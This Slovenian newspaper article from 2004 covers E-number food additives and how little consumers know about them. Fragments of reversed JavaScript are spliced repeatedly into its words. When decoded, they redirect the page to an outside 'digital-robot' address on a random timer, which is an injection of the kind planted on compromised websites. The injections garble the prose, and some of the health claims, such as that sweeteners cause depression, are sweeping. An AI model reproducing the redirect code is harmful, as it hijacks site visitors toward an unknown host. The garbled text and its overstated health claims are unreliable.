VEčER: Torek, 23. Marec 2004 – Stran: TRG

Slabo poznavanje slovenskih potrošnikov o označbah na embalažah živil

Veliki E je lahko zdravju zelo nevaren

Največ aditivov, označeni so s črko E, se pojavlja v mesnih izdelkih, slaščicah in zdravilih – Med aditivi je kar nekaj takšnih, ki slabo vplivajo na ljudi: povzročajo glavobol, prebavne motnje, alergije, določeni vsebujejo celo rakotvorne snovi

Ponavadi pri nakupovanju nismo pozorni na označbe, natisnjene na embalaži izdelka, bolj nas zanimajo cene. Vendar pa vedno več strokovnjakov opozarja, da so označbe velikega pomena. Zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bi potrošniki nanje morali biti bolj pozorni, zlasti na veliki E. S tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to črko so namreč označeni aditivi, ki jih proizvajalci dodajajo nekaterim živilom in so lahko, kot so pokazale raziskave, zdravju zelo škodljivi. raziskav kažejo, da je vpliv aditivov na živila, najbolj znane kategorije so sladila, emulgatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torji, konzervansi, antioksidanti in barvila, zelo raznolik, je opozorila Rebeka Platnik, ki se je nedavno udeležila predavanja o vplivu velikega E na živila in zdravje. Pod pokroviteljstvom Evropske unije je potekalo na Dunaju.

Jasno je, da so določeni aditivi za živilo nepogrešljivi. Omogočajo njegovo ohranjanje in izdelavo, nekateri so živilom dodani zaradi videza. V državah Evropske unije je bilo opravljenih že veliko raziskav o vplivu aditivov na živila in zdravje. Ugotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovljeno je bilo, da so lahko zdravju škodljivi. Med njimi je namreč veliko takšnih, ki slabo vplivajo na ljudi: povzročajo glavobol, prebavne motnje, alergije, določeni celo vsebujejo rakotvorne snovi.

Po pravilniku za živila je treba aditive z oznako E navesti na embalaži, ob njej pa morata biti navedena pripadajoča številka aditiva bodisi njegovo specifično ime. Tako se lahko potrošniki odločimo za živila s temi snovmi, z omenjenimi količinami dodanih aditivov, ali pa za živila brez njih, vendar večina ne pozna označb na embalaži živil. Tudi Platnikova meni, da slovenski potrošniki aditivom ne posvečajo velike pozornosti, ker na njihov škodljivi vpliv niso bili opozorjeni. Večina kupcev ne pogleda embalaže, le redke zanima, kaj piše na njej. Mnogi so prepričani, da sta zapisana le rok trajanja in ime proizvajalca, vendar je na embalaži zapisanega mnogo več, je opozorila Rebeka Platnik.

Kateri aditivi so škodljivi?

Največ škodljivih aditivov je, kot so pokazale raziskave, v mesnih izdelkih, slaščicah, zdravilih in pijačah. Pri nakupovanju bodimo pozorni na naslednje aditive. E102, E104, E124, E151 so umetna barvila, ki, kot kažejo podatki raziskav, povzročajo alergije, E120 je rdeče barvilo, ki po raziskavah povzroča astmo. Raziskave opozarjajo na aditive E110, E123, E127, E131 in E153, ki lahko povzročijo celo raka. V živilih s podaljšano trajnostjo je pod imenom konzervans mogoče najti E210 in E211: povzročita lahko želodčne težave. E249, E250 in E252 sodijo med kancerogene, E320 in E321 sta nevarna astmatikom, E621 in E631 lahko povzročita bolečine v trebuhu, E420, E951, E950 pa so sladila, ki povzročajo tudi depresije.

Katera živila so označena z velikim E, smo preverili v trgovini. Opazili smo, da ima večina jušnih koncentratobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov označbo E621, ki je ena najpogostejših začimb v kitajski kuhinji. Na umetnih sladilih (tabletke za slajenje) smo našli označbe E420, E951, E950 in E953. Opazili smo jih tudi na nekaterih nizkokaloričnih sokovih, kompotih in marmeladah. Z aditivi so označene tudi alkoholne pijače. Najpogosteje so napisani E104, E124, E 202 in E212. Vse štiri aditive najdemo denimo v pijači Bacardi Breezer. Na aditive opozarja tudi označba majoneze, in sicer E334 (sredstvo za naravnanje kislosti), E415 (gostilo) in E202.

Ali poznajo aditive, smo vprašali tudi nekaj potrošnikov. Dobra polovica vprašanih zanje še sploh ni slišala, nekaj pa jih je menilo, da vedo, da gre za zdravju škodljive snovi, vendar jim ne posvečajo pozornosti. Da velikemu E nameni veliko pozornost, saj se zaveda njegovih škodljivih vplivov, nam je zatrdil samo en kupec. Povedal je, da je na aditive postal pozoren, ko je zbolel in mu je zdravnik predpisal strogo dietobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. Pri tem ga je opozoril na aditive, ki se pojavljajo v nekaterih živilih. Od takrat v trgovini vedno pozorno prebere, katere so sestavine živila, ki ga kupuje.